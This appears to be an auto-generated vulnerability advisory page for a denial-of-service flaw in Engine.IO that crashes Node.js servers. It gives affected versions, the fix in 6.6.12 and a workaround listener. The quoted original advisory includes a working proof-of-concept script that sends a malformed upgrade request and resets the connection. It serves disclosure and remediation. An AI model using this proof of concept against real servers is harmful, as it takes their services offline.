HIGH · CVSS 3.1 7.5 CWE-248

CVE-2026-137200: Socket.IO: Engine.IO DoS via unhandled upgrade error

Published 2026-12-01 · Updated 2026-12-01 · Also known as GHSA-v775-f652-7rv6

Summary

A Denial-of-Service vulnerability exists in Engine.IO due to unhandled socket errors when processing invalid upgrade requests, causing the Node.js process to crash. All maintainers using vulnerable versions of Engine.IO should update immediately.

Who is affected

Engine.IO servers are vulnerable when a client sends an upgrade request to a non-Engine.IO path and abruptly disconnects with an ECONNRESET before the destruction timeout fires. This triggers an unhandled error event that results in an uncaught exception and crashes the entire Node.js process, causing a denial of service.

Exploitability

The vulnerability can be exploited over the network with low attack complexity, requiring no privileges or user interaction. It has a CVSS base score of 7.5 indicating a high severity impact on availability, with EPSS not yet available and CISA KEV status set to no.

Remediation

How to check your project

Automated analysis of the published advisory data, generated 2026-12-01. Not human-reviewed; verify against the official advisory. How this works.

Affected packages

EcosystemPackageAffected versionsFixed inUpgrade
npm engine.io >= 0, < 6.6.12 6.6.12 npm install [email protected]

CVSS 3.1 vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vectorNetwork
Attack complexityLow
Privileges requiredNone
User interactionNone
ScopeUnchanged
ConfidentialityNone
IntegrityNone
AvailabilityHigh

FAQ

What causes the application to crash?

The application crashes with an uncaught exception due to an unhandled 'error' event (such as ECONNRESET) emitted when a client abruptly disconnects during an invalid upgrade request.

Is there a workaround if I cannot upgrade immediately?

Yes, you can temporarily mitigate the issue by registering an error event listener on sockets within an upgrade handler to catch the unhandled errors.

Which version fixes this vulnerability?

The vulnerability is fixed in engine.io version 6.6.12 and above.

Original advisory description
### Summary A Denial-of-Service (DoS) vulnerability exists in Engine.IO server due to **unhandled socket errors** when processing invalid upgrade requests. If a client sends an upgrade request to a non-Engine.IO path and disconnects abruptly (e.g., via `ECONNRESET`) before the destruction timeout fires, the socket emits an error event with no listener attached, causing the Node.js process to crash with an **uncaught exception**. ### Proof of concept ```js import net from "node:net"; import http from "node:http"; import { Server } from "engine.io"; // Start a vulnerable Engine.IO server const engine = new Server(); const server = http.createServer(); engine.attach(server); server.listen(3000, () => { console.log("Vulnerable server listening on port 3000"); // Attacker: Send an invalid upgrade request and disconnect abruptly const socket = net.connect(3000, () => { socket.write( "GET / HTTP/1.1\r\n" + "Connection: Upgrade\r\n" + "Upgrade: websocket\r\n" + "\r\n" ); // Disconnect before the 1000ms timeout setTimeout(() => socket.resetAndDestroy(), 10); }); }); ``` **Expected Result:** The server crashes with: ``` Unhandled 'error' event (ECONNRESET) ``` ### Patches Fixed in: - `[email protected]` (via commit https://github.com/socketio/socket.io/commit/f8e8746492f4118c7ef6a40e51f9c26fdc3ecc31) ### Workarounds In vulnerable versions, the issue can be mitigated by registering a listener for the `error` event: ```js import http from "node:http"; import { Server } from "engine.io"; const engine = new Server(); const server = http.createServer(); // WORKAROUND: Add a global "upgrade" handler to catch ALL sockets server.on("upgrade", (req, socket, head) => { socket.on("error", (err) => { console.debug(`[Workaround] Upgrade error: ${err.message}`); }); }); engine.attach(server); server.listen(3000); ``` Note: This is a **temporary mitigation**. Upgrading to `[email protected]` and above is the recommended fix. ### Credits The vulnerability was responsibly disclosed by [YuSheng Chen](https://github.com/samuel871211).

References

Source records: GHSA-v775-f652-7rv6 (OSV.dev).